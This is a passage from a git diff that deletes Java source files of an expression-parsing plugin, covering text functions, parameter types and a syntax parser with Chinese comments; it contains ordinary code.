result.setVal(ParamFormat.obj2Str(args[0]).replaceAll(ParamFormat.obj2Str(args[1]), ParamFormat.obj2Str(args[2]))); - break; - case 1: - result.setVal(ParamFormat.obj2Str(args[0]).replace(ParamFormat.obj2Str(args[1]), ParamFormat.obj2Str(args[2]))); - break; - case 2: - result.setVal(ParamFormat.obj2Str(args[0]).replaceFirst(ParamFormat.obj2Str(args[1]), ParamFormat.obj2Str(args[2]))); - break; - } - return result; - } - return _nullChr; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/SubstringFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/SubstringFunc.java deleted file mode 100644 index 47bd123..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/SubstringFunc.java +++ /dev/null @@ -1,35 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class SubstringFunc extends AbstractTextFunc implements IFunc { - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.String); - - @Override - public IParam _fx(IParam[] args) { - if (args.length < 2 || args.length > 3) { - throw new IllegalArgumentException("TRIM函数参数必须是两个或者三个"); - } - - if (ParamFormat.argIsNull(args[0])) { - return super.getDefVal(); - } - - String str = ParamFormat.obj2Str(args[0]); - - int limit = str.length(); - int start = Math.min(ParamFormat.format(args[1]).intValue(), limit); - if (args.length == 2) - result.setVal(str.substring(start)); - else { - int end = Math.min(ParamFormat.format(args[2]).intValue(), limit); - result.setVal(str.substring(start, end)); - } - return result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/TextFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/TextFunc.java deleted file mode 100644 index eeb0fe4..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/TextFunc.java +++ /dev/null @@ -1,24 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class TextFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.String); - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 1) { - throw new IllegalArgumentException("TEXT函数参数只能有一个"); - } - if(!ParamFormat.argIsNull(args[0])) { - result.setVal(ParamFormat.obj2Str(args[0]).trim()); - return result; - } - return _nullChr; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/TrimFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/TrimFunc.java deleted file mode 100644 index 51db8bc..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/TrimFunc.java +++ /dev/null @@ -1,24 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class TrimFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.String); - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 1) { - throw new IllegalArgumentException("TRIM函数参数只能有一个"); - } - if(args[0].getVal() != null) { - result.setVal(ParamFormat.obj2Str(args[0]).trim()); - return result; - } - return _nullChr; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/UpperFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/UpperFunc.java deleted file mode 100644 index 7b807ad..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/UpperFunc.java +++ /dev/null @@ -1,24 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class UpperFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.String); - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 1) { - throw new IllegalArgumentException("UPPER函数参数只能有一个"); - } - if(args[0].getVal() != null) { - result.setVal(ParamFormat.obj2Str(args[0]).toUpperCase()); - return result; - } - return _nullChr; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/AbstractParam.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/AbstractParam.java deleted file mode 100644 index 1f970d1..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/AbstractParam.java +++ /dev/null @@ -1,52 +0,0 @@ -package org.code.modules.plugins.function.param; - -import org.code.modules.plugins.function.IParam; - -public abstract class AbstractParam implements IParam{ - - protected Object paramValue = null; - - protected String paramName = null; - - public AbstractParam(Object obj) { - this.setVal(obj); - } - - public AbstractParam(String paramName, Object obj) { - this.setVal(obj); - this.paramName = paramName; - } - - @Override - public void setVal(Object val) { - this.paramValue = val; - } - - /*@Override - public T getVal(String paramName) { - if(this.paramValue == null) { - return null; - } - if(this.paramValue instanceof Map) { - return (T)((Map) this.paramValue).get(paramName); - } - return (T)this.paramValue; - }*/ - - @Override - public Object getVal() { - if(this.paramValue == null) { - return null; - } - return this.paramValue; - } - - @Override - public String getParamName() { - return paramName; - } - - public void setParamName(String paramName) { - this.paramName = paramName; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/ParamFormat.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/ParamFormat.java deleted file mode 100644 index abba1c6..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/ParamFormat.java +++ /dev/null @@ -1,143 +0,0 @@ -package org.code.modules.plugins.function.param; - -import com.luqj.util.NumFormat; -import com.luqj.util.StringUtils; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.types.TypeEnum; - -/** - * 参数格式化 - * @author chenzm - */ -public class ParamFormat { - /** - * 数据格式化 - * @param arg0 - * @return - */ - public static Number format(IParam arg0) { - if(arg0.getValType() == Boolean.class) { - if(((Boolean)arg0.getVal()) == false) { - return 0; - } - return 1; - } - - switch(TypeEnum.valueOf(arg0.getValType().getSimpleName())) { - case Short: - return NumFormat.$Short(arg0.getVal()); - case Integer: - return NumFormat.$Intger(arg0.getVal()); - case Long: - return NumFormat.$Long(arg0.getVal()); - case Float: - return NumFormat.$Float(arg0.getVal()); - case Date: - return NumFormat.$Date(arg0.getVal()); - case Timestamp: - return NumFormat.$Timestamp(arg0.getVal()); - /*case Double: - case String:*/ - default: - return NumFormat.$Double(arg0.getVal()); - } - } - - public static String obj2Str(IParam arg) { - return ((StandTypeParam)arg).format(); - } - - public static boolean argIsNull(IParam arg) { - if(arg == null || arg.getVal() == null) { - return true; - } - if(arg.getValType() == String.class) { - return StringUtils.isBlank(obj2Str(arg)); - } - return false; - } - - /** - * 是否是数字 - * @param arg - * @return - */ - public static boolean isNumber(IParam arg) { - if(argIsNull(arg)) { - return false; - } - switch(TypeEnum.valueOf(arg.getValType().getSimpleName())) { - case Short: - case Integer: - case Long: - case Float: - case Double: - case BigInteger: - case BigDecimal: - return true; - default: - return false; - } - } - - /** - * 是否是日期 - * @param arg - * @return - */ - public static boolean isDate(IParam arg) { - if(argIsNull(arg)) { - return false; - } - if(arg.getValType() == java.util.Date.class) { - return true; - } - switch(TypeEnum.valueOf(arg.getValType().getSimpleName())) { - case Date: - case Timestamp: - case Time: - return true; - default: - return false; - } - } - - /** - * 参数是否相等 - * @param a - * @param b - * @return - */ - public static boolean isEqual(IParam a, IParam b) { - if (ParamFormat.isNumber(a) && ParamFormat.isNumber(b)) { - return ParamFormat.format(a).doubleValue() == ParamFormat.format(b).doubleValue(); - } else if (a.getVal() == null && b.getVal() == null) { - return true; - } else if (a.getVal() != null && a.getVal().equals(b.getVal())) { - return true; - } else if (b.getVal() != null && b.getVal().equals(a.getVal())) { - return true; - } else { - return false; - } - } - - public static boolean toBoolean(IParam paramVal) { - Object param = paramVal.getVal(); - if(param == null) { - return false; - }else if(param instanceof Boolean) { - return (Boolean)param; - }else if(Boolean.TRUE.toString().equals(param.toString())) { - return true; - }else if(Boolean.FALSE.toString().equals(param.toString())) { - return false; - } - try { - return (Integer) param == 1 ? true : false; - }catch (Exception e) { - throw new IllegalStateException(String.format("检查函数的返回值是否是布尔值[paramName=%s;paramValue=%s;class=%s]", - paramVal.getParamName(), paramVal.getValType(), paramVal.getVal().toString()), e); - } - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/SimpleIteratorParam.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/SimpleIteratorParam.java deleted file mode 100644 index 68d907a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/SimpleIteratorParam.java +++ /dev/null @@ -1,80 +0,0 @@ -package org.code.modules.plugins.function.param; - - -import org.code.modules.plugins.types.StandardMutlValType; -import org.code.modules.plugins.types.StandardMutlValType.ValEntity; - -import java.util.ArrayList; -import java.util.Iterator; -import java.util.List; -import java.util.Map; - -/** - * 默认的Iterator包装器 - * - * @author chenzm - */ -public class SimpleIteratorParam extends StandardMutlValTypeParam { - - private List entitys = new ArrayList(3); - ; - - private List> tempList = new ArrayList>(1); - - private List> dataList; - - private Iterator> it; - - public SimpleIteratorParam(Object obj) { - super(obj); - } - - public SimpleIteratorParam(StandardMutlValType mutlValType, Object paramVal) { - super(mutlValType, paramVal); - } - - @Override - public void reset() { - this.it = null; - this.dataList = null; - this.entitys.clear(); - if (this.getVal() instanceof Map) { - Map data = (Map) this.getVal(); - this.tempList.clear(); - this.tempList.add(data); - this.dataList = tempList; - } else if (this.getVal() instanceof List) { - this.dataList = (List>) this.getVal(); - } else { - throw new IllegalArgumentException("暂不支持" + this.getVal().getClass() + " data:" + this.getVal()); - } - if (this.dataList != null) { - this.it = dataList.iterator(); - } - } - - @Override - public boolean hasNext() { - if (it == null) - return false; - return it.hasNext(); - } - - @Override - public List next() { - Map data = it.next(); - for (String key : data.keySet()) { - entitys.add(new ValEntity(key, 0, data.get(key))); - } - return entitys; - } - - @Override - public void remove() { - - } - - @Override - public void finish() { - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/StandTypeParam.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/StandTypeParam.java deleted file mode 100644 index 6f5e147..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/StandTypeParam.java +++ /dev/null @@ -1,84 +0,0 @@ -package org.code.modules.plugins.function.param; - -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.types.StandardType; -import org.code.modules.plugins.types.StandardTypeFactory; -import org.code.modules.plugins.types.TypeEnum; - -/** - * 标准类型参数 - * @author chenzm - * @param - */ -public class StandTypeParam extends AbstractParam implements IParam{ - - private StandardType stdType; - - private TypeEnum typeEnum; - - protected StandTypeParam(Object obj) { - super(obj); - } - - protected StandTypeParam(StandardType stdType, Object paramVal) { - super(paramVal); - this.stdType = stdType; - } - - protected StandTypeParam(String fieldName, StandardType fieldType, Object paramValue) { - super(fieldName, paramValue); - this.stdType = fieldType; - } - - @Override - public void setVal(Object val) { - this.paramValue = val; - if(this.stdType == null && paramValue != null) { - this.stdType = StandardTypeFactory.createType(paramValue.getClass().getSimpleName(), 10, 0); - } - } - - public static StandTypeParam createConstantParam(Object paramValue) { - return new StandTypeParam(StandardTypeFactory.createType(paramValue.getClass().getSimpleName(), 10, 0), paramValue); - } - - public static StandTypeParam createParamByType(TypeEnum filedType) { - return new StandTypeParam(StandardTypeFactory.createType(filedType.toString(), 10, 0), null); - } - - public static StandTypeParam createFieldParam(String fieldName, StandardType filedType) { - return new StandTypeParam(fieldName, filedType, null); - } - - public static StandTypeParam createFieldParam(String fieldName, TypeEnum filedType, int len, int Precsn) { - StandTypeParam param = createParamByType(filedType); - param.paramName = fieldName; - return param; - } - - @Override - public Class getValType() { - return stdType == null ? null : stdType.getReturnedClass(); - } - - @Override - public int getPrecision() { - return stdType.getPrecsn(); - } - - @Override - public int getLength() { - return stdType.getLength(); - } - - public String format() { - return this.stdType.format(this.paramValue); - } - - public TypeEnum getTypeEnum() { - if(this.typeEnum == null) { - this.typeEnum = TypeEnum.valueOf(this.getValType().getSimpleName()); - } - return this.typeEnum; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/StandardMutlValTypeParam.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/StandardMutlValTypeParam.java deleted file mode 100644 index d14364d..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/param/StandardMutlValTypeParam.java +++ /dev/null @@ -1,69 +0,0 @@ -package org.code.modules.plugins.function.param; - -import org.code.modules.plugins.function.IIteratorWrap; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.types.StandardMutlValType; -import org.code.modules.plugins.types.StandardMutlValType.ValEntity; -import org.code.modules.plugins.types.TypeEnum; - -import java.util.Collection; -import java.util.List; - -/** - * 标准多值类型参数 - * @author chenzm - */ -public abstract class StandardMutlValTypeParam extends AbstractParam implements IParam, IIteratorWrap> { - - protected StandardMutlValType mutlValType; - - protected TypeEnum typeEnum; - - protected StandardMutlValTypeParam(Object obj) { - super(obj); - } - - protected StandardMutlValTypeParam(StandardMutlValType mutlValType, Object paramVal) { - super(paramVal); - this.mutlValType = mutlValType; - } - - protected StandardMutlValTypeParam(String fieldName, StandardMutlValType fieldType, Object paramValue) { - super(fieldName, paramValue); - this.mutlValType = fieldType; - } - - @Override - public void setVal(Object val) { - this.paramValue = val; - /*if(this.mutlValType == null && paramValue != null) { - this.mutlValType = StandardTypeFactory.createType(paramValue.getClass().getSimpleName(), 10, 0); - }*/ - } - - @Override - public Class getValType() { - return mutlValType == null ? null : mutlValType.getReturnedClass(); - } - - @Override - public int getPrecision() { - return mutlValType.getPrecsn(); - } - - @Override - public int getLength() { - return mutlValType.getLength(); - } - - public Collection format() { - return this.mutlValType.format(this.paramValue); - } - - public TypeEnum getTypeEnum() { - if(this.typeEnum == null) { - this.typeEnum = TypeEnum.valueOf(this.getValType().getSimpleName()); - } - return this.typeEnum; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/ExpressionParse.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/ExpressionParse.java deleted file mode 100644 index cd45ed6..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/ExpressionParse.java +++ /dev/null @@ -1,225 +0,0 @@ -package org.code.modules.plugins.function.parse; - -import com.luqj.util.ArithmeticEnum;; -import com.luqj.util.assertion.Assert; -import org.code.modules.plugins.function.FuncEnum; -import org.code.modules.plugins.function.IExpression; -import org.code.modules.plugins.function.IExpressionParse; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.expression.CombinationExpression; -import org.code.modules.plugins.function.expression.FormulaExpression; -import org.code.modules.plugins.function.method.mathematical.MathFormulaFunc; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.function.parse.SyntaxParse.SyntaxNode; -import org.code.modules.plugins.function.parse.SyntaxParse.SyntaxType; -import org.code.modules.plugins.types.TypeEnum; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.text.DecimalFormat; -import java.text.ParseException; -import java.util.*; - -/** - * 表达式解析 - * - * @author chenzm - */ -public abstract class ExpressionParse implements IExpressionParse { - /** - * 函数集 - */ - private Set funcSet; - - /** - * 语法解析器 - */ - private SyntaxParse syntaxParse = null; - - private static final DecimalFormat decimalFormat = new DecimalFormat(); - private static final Logger logger = LoggerFactory.getLogger(ExpressionParse.class); - - public ExpressionParse(Set funcSet) { - this.funcSet = funcSet; - this.syntaxParse = SyntaxParse.createSyntaxParse(funcSet); - } - - /** - * 获取语法树 - * - * @param exp - * @return - */ - public SyntaxNode getSyntaxTree(String exp) { - return syntaxParse.syntaxParse(exp); - } - - /** - * 解析表达式 - * - * @return - */ - @Override - public IExpression parseExpression(String expression) { - Assert.hasText(expression, "表达式不能为空"); - expression = expression.trim(); - SyntaxNode syntaxTree = syntaxParse.syntaxParse(expression); - if (logger.isDebugEnabled()) { - logger.debug("解析函数表达式:" + expression); - SyntaxNode.showTree(syntaxTree); - } - return parseFuncExpression(syntaxTree); - } - - /** - * 解析函数表达式 MAX(1,3, MIN(1, 1+ IF([A],[B], [B] * 10) ), 1 + MAX(1,3) * 10 + MIN(3, 4) ) - * - * @param node - * @return - */ - private IExpression parseFuncExpression(SyntaxNode node) { - IExpression exp = null; - if (node.exitsChild()) { - String funName = node.syntaxType == SyntaxType.Bag ? "BAG" : node.getKey(); - if (node.syntaxType == SyntaxType.Bag) { - Assert.logic(node.exitsChild() && node.childs().size() == 1, - "[" + node.startPos + "," + node.endPos + ")位置发生错误,包里面的参数只能是一个"); - } - CombinationExpression combinationExp = new CombinationExpression(createFunction(funName)); - for (SyntaxNode child : node.childs()) { - switch (child.syntaxType) { - case Func: - case Bag: - combinationExp.addExpression(parseFuncExpression(child)); - break; - case FunctionFormula: - combinationExp.addExpression(parseFunctionFormula(child)); - break; - default: - combinationExp.addParam(getStandTypeParam(child)); - } - } - exp = combinationExp; - } else { - FormulaExpression baseExp = new FormulaExpression(createFunction(node.getKey())); - for (SyntaxNode child : node.childs()) { - baseExp.addParam(getStandTypeParam(child)); - } - exp = baseExp; - } - return exp; - } - - /** - * 解析算式表达式 eg: 1 + MAX(1,3) * 10 + MIN(3, 4),把函数当成一个整体 (代元法) - * - * @param exp - * @return - */ - private IExpression parseFunctionFormula(SyntaxNode exp) { - Stack valueStack = new Stack(); - for (SyntaxNode node : SyntaxParse.suffixSyntaxStack(exp)) { - if (ArithmeticEnum.containsKey(node.getKey())) { - Object b = valueStack.pop(); - Object a = valueStack.pop(); - CombinationExpression cx = new CombinationExpression(new MathFormulaFunc(ArithmeticEnum.getArithmeticEnum(node.getKey()))); - cx.addParamOrExp(a); - cx.addParamOrExp(b); - valueStack.push(cx); - } else if (node.syntaxType == SyntaxType.Func) { - valueStack.add(parseFuncExpression(node)); - } else { - valueStack.add(getStandTypeParam(node)); - } - } - return (IExpression) valueStack.get(0); - } - - public static StandTypeParam getStandTypeParam(SyntaxNode paramNode) { - String val = paramNode.getKey(); - if (SyntaxType.Text == paramNode.syntaxType) { - String qm = "" + val.charAt(0); - val = val.substring(val.indexOf(qm) + 1, val.lastIndexOf(qm)); - return StandTypeParam.createConstantParam(val); - } - - if (SyntaxType.Field == paramNode.syntaxType) { - String field = val.substring(1, val.length() - 1); - return StandTypeParam.createFieldParam(field, null); - } - - if (SyntaxType.Number == paramNode.syntaxType) { - StandTypeParam param = StandTypeParam.createParamByType(TypeEnum.Float); - try { - param.setVal(decimalFormat.parse(val).floatValue()); - } catch (ParseException e) { - throw new IllegalArgumentException("数字解析异常", e); - } - return param; - } - throw new IllegalArgumentException("未知的类型[" + "KEY:" + paramNode.getKey() + ",TYPE:" + paramNode.syntaxType + "]"); - } - - /** - * 是否是函数 - * - * @param funcName - * @return - */ - protected boolean isFunc(String funcName) { - return this.funcSet.contains(funcName.trim().toUpperCase()); - } - - /** - * 创建函数 - * - * @param funcName - * @return - */ - protected abstract IFunc createFunction(String funcName); - - /** - * 获取字段 - * - * @param exp - * @return - */ - public Set getFieldSet(String exp) { - return this.lookupField(this.getSyntaxTree(exp)); - } - - private Set lookupField(SyntaxNode tree) { - Set fieldList = new LinkedHashSet<>(); - if (tree.syntaxType() == SyntaxParse.SyntaxType.Field) { - fieldList.add(tree.getKey().substring(1, tree.getKey().length() - 1)); - } - if (tree.childs() != null) { - for (SyntaxParse.SyntaxNode child : tree.childs()) { - fieldList.addAll(lookupField(child)); - } - } - return fieldList; - } - - /** - * 创建默认解析器 - * - * @return - */ - public static ExpressionParse createDefaultParse() { - final Map funcMap = new HashMap(); - for (FuncEnum func : FuncEnum.values()) { - funcMap.put(func.getCode(), func.getClazz()); - } - return new ExpressionParse(funcMap.keySet()) { - @Override - public IFunc createFunction(String funcName) { - try { - return (IFunc) Class.forName(funcMap.get(funcName.toUpperCase())).newInstance(); - } catch (Exception e) { - throw new IllegalStateException("函数【" + funcName + "】", e); - } - } - }; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/SymbolSet.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/SymbolSet.java deleted file mode 100644 index c27bc32..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/SymbolSet.java +++ /dev/null @@ -1,65 +0,0 @@ -package org.code.modules.plugins.function.parse; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 符号集 - * @author chenzm - */ -public class SymbolSet { - /**等号*/ - public final static String SYMBOL_EQ = "="; - - /**空字符*/ - public final static Character SYMBOL_NULL = ' '; - - /**逗号*/ - public final static String SYMBOL_COMMA = ","; - - /**双引号*/ - public final static String SYMBOL_DQM = "\""; - - /**单引号*/ - public final static String SYMBOL_SQM = "\'"; - - public static String chr2Str(char chr) { - return "" + chr; - } - - static boolean isInSymbol(Map> symBolPos, int charPos, String ...symbols){ - for(String symbol : symbols) { - if(!symBolPos.containsKey(symbol)) { - return false; - } - List posInfo = symBolPos.get(symbol); - for(int i = 0; i < posInfo.size(); ) { - if(charPos > posInfo.get(i) && charPos < posInfo.get(i + 1)) { - return true; - } - i+=2; - } - } - return false; - } - - static Map> getSymBolPos(String exp) { - Map> map = new HashMap>(); - String[] symbols = new String[]{ - SYMBOL_SQM, SYMBOL_DQM - }; - for(String symbol : symbols) { - map.put(symbol, new ArrayList(exp.length())); - int charPos = 0; - for(char c : exp.toCharArray()) { - if(c == symbol.charAt(0)) { - map.get(symbol).add(charPos); - } - charPos++; - } - } - return map; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/SyntaxParse.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/SyntaxParse.java deleted file mode 100644 index 49d2aa4..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/parse/SyntaxParse.java +++ /dev/null @@ -1,499 +0,0 @@ -package org.code.modules.plugins.function.parse; - -import com.luqj.util.ArithmeticEnum;; -import com.luqj.util.CharBuffer; -import com.luqj.util.StringUtils; -import com.luqj.util.assertion.Assert; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.util.*; -import java.util.regex.Pattern; - -/** - * 语法解析器 - * - * @author chenzm - */ -public class SyntaxParse { - - /** - * 函数集合 - **/ - private Set functionSet; - - /** - * 字段表达式 - **/ - private static final String fieldPattern = "(?<=\\[)[\\S\\s]*(?=\\])"; - - private static final Logger logger = LoggerFactory.getLogger(SyntaxParse.class); - - protected SyntaxParse(Set functionSet) { - this.functionSet = functionSet; - } - - public static SyntaxParse createSyntaxParse(Set functionSet) { - return new SyntaxParse(functionSet); - } - - /** - * 是否是数学算式 - * - * @param exp - * @return - */ - public SyntaxType getSyntaxType(String exp) { - exp = exp.trim(); - if (exp.startsWith(SymbolSet.SYMBOL_SQM) - || exp.startsWith(SymbolSet.SYMBOL_DQM)) { - return SyntaxType.Text; - } - - //判断是否是字段 - if (exp.startsWith("[") && exp.endsWith("]") && Pattern.compile(fieldPattern).matcher(exp).find()) { - return SyntaxType.Field; - } - - //判断是否是数字 - if (StringUtils.isNumber(exp)) { - return SyntaxType.Number; - } - - return null; - } - - /** - * 是否是运算符号 +, -, *, /, >, <, >=, <= - * - * @param c - * @return - */ - private boolean isArithmetic(Stack syntaxStack, CharBuffer preNode, String c) { - if (ArithmeticEnum.getArithmeticEnum(c) == null) { - return false; - } - //如果符号'-'前面的值不是数字,该符号不是减法符号‘-’而是负数符号‘-’ - if (ArithmeticEnum.subtract.isEqualBySymbol(c)) { - if (syntaxStack.peek().syntaxType == SyntaxType.Comma) { - return false; - } - if (syntaxStack.peek().syntaxType == SyntaxType.Func) { - return true; - } - SyntaxType preNodeType = createSyntaxNode(preNode, -1).syntaxType; - if (preNodeType == SyntaxType.Number || preNodeType == SyntaxType.Field) { - return true; - } - return false; - } - if (ArithmeticEnum.rb.isEqualBySymbol(c) || ArithmeticEnum.lb.isEqualBySymbol(c)) { - return false; - } - return true; - } - - /** - * 函数语法表达式解析 - * - * @param expression 语法表达式 eg:sum([b], sum([a], 1 , 2)) - * @return 语法树 - */ - public SyntaxNode syntaxParse(String expression) { - checkMissingBracket(expression); - - String c = ""; - int qmCount = 0;//引号次数 - int charPos = 0; - boolean isText = false; - CharBuffer buf = new CharBuffer(); - Stack syntaxStack = new Stack(); - for (char v : expression.toCharArray()) { - c += v; - if (c.equals(SymbolSet.SYMBOL_SQM) || c.equals(SymbolSet.SYMBOL_DQM)) { - qmCount = (qmCount + 1) % 2; - isText = qmCount == 1; - } - if ((ArithmeticEnum.lt.isEqualBySymbol(c) || ArithmeticEnum.gt.isEqualBySymbol(c)) - && SymbolSet.SYMBOL_EQ.equals("" + expression.charAt(charPos + 1))) { - charPos++; - continue; - } - if (isText) { - buf.addStr(c); - } else if (isArithmetic(syntaxStack, buf, c)) { - if (buf.isText()) { - syntaxStack.push(createSyntaxNode(buf, charPos)); - } - syntaxStack.push( - SyntaxNode.createNode(c.toCharArray(), - charPos, charPos + 1, SyntaxType.Arithmetic) - ); - buf.clear(); - } else if (ArithmeticEnum.lb.isEqualBySymbol(c)) { - /**如果没有函数名则产生一个虚拟的BAG节点'()' 比如1 + (1 + 2) 用于标识为了数据的先后计算 */ - syntaxStack.push(createSyntaxNode(buf, charPos)); - syntaxStack.push( - SyntaxNode.createNode(c.toCharArray(), - charPos, charPos + 1, SyntaxType.Arithmetic) - ); - buf.clear(); - } else if (ArithmeticEnum.rb.isEqualBySymbol(c)) { - if (buf.isText()) { - syntaxStack.push(createSyntaxNode(buf, charPos)); - buf.clear(); - } - mergeNode(syntaxStack); - SyntaxNode word = syntaxStack.pop(); - Stack nodeQueue = new Stack(); - while (!ArithmeticEnum.lb.isEqualBySymbol(word.getKey())) { - if (word.syntaxType != SyntaxType.Comma) - nodeQueue.push(word); - word = syntaxStack.pop(); - } - SyntaxNode parent = syntaxStack.pop(); - if (functionSet.contains(parent.getKey().toUpperCase())) { - parent.asFunc(); - } else if (parent.syntaxType == null) { - parent.syntaxType = SyntaxType.Bag; - } - while (nodeQueue.size() > 0) { - SyntaxNode child = nodeQueue.pop(); - if (child.startPos > parent.startPos) { - parent.addChild(child); - } else { - throw new IllegalArgumentException(charPos + "位置附近拼写错误"); - } - } - syntaxStack.push(parent); - } else if (SymbolSet.SYMBOL_COMMA.equals(c)) { - if (buf.isText()) { - syntaxStack.push(createSyntaxNode(buf, charPos)); - buf.clear(); - } - mergeNode(syntaxStack); - syntaxStack.push( - SyntaxNode.createNode(c.toCharArray(), - charPos, charPos + 1, SyntaxType.Comma) - ); - } else { - buf.addStr(c); - } - c = ""; - charPos++; - } - return syntaxStack.pop(); - } - - /** - * 遇到逗号和左括号时候 则寻找FunctionFormula节点将其合并 - * - * @param syntaxStack - * @return - */ - private SyntaxNode mergeNode(Stack syntaxStack) { - SyntaxNode t = null; - while (syntaxStack.size() > 1 && - syntaxStack.get(syntaxStack.size() - 2).syntaxType == SyntaxType.Arithmetic && - !ArithmeticEnum.lb.isEqualBySymbol(syntaxStack.get(syntaxStack.size() - 2).getKey())) { - if (t == null) { - t = SyntaxNode.createNode(null, -1, -1, SyntaxType.FunctionFormula); - } - //操作值 - SyntaxNode val = syntaxStack.pop(); - t.addChild(0, val); - - //操作符号 - SyntaxNode arithmetic = syntaxStack.pop(); - t.addChild(0, arithmetic); - } - if (t != null && t.exitsChild()) { - t.startPos = t.firstChild().startPos; - t.endPos = t.lastChild().startPos; - } - if (t != null) { - //操作值 - t.addChild(0, syntaxStack.pop()); - syntaxStack.push(t); - } - return t; - } - - /** - * 创建语法节点 - * - * @return - */ - private SyntaxNode createSyntaxNode(CharBuffer func, int charPos) { - SyntaxNode node = SyntaxNode.createNode(func.toArray(), charPos - func.size(), charPos); - node.syntaxType = getSyntaxType(node.getKey()); - return node; - } - - /** - * 获取后缀语法堆栈 - * - * @param root - * @return - */ - public static List suffixSyntaxStack(SyntaxNode root) { - Assert.logic(root.syntaxType == SyntaxType.FunctionFormula, - "[" + root.toString() + "]不是函数算式表达式"); - - Stack symbolStack = new Stack(); - List outputQueue = new LinkedList(); - for (SyntaxNode syntaxNode : syntaxStack(root)) { - if (ArithmeticEnum.rb.isEqualBySymbol(syntaxNode.getKey()) - && syntaxNode.syntaxType == SyntaxType.Arithmetic) { - SyntaxNode sbl = symbolStack.pop(); - while (!ArithmeticEnum.lb.isEqualBySymbol(sbl.getKey())) { - outputQueue.add(sbl); - sbl = symbolStack.pop(); - } - } else if (syntaxNode.syntaxType == SyntaxType.Arithmetic) { - while (symbolStack.size() > 0 && - ArithmeticEnum.getSymbolLevel(syntaxNode.getKey()) <= ArithmeticEnum.getSymbolLevel(symbolStack.peek().getKey()) && - !ArithmeticEnum.lb.isEqualBySymbol(symbolStack.peek().getKey())) { - outputQueue.add(symbolStack.pop()); - } - symbolStack.push(syntaxNode); - } else { - 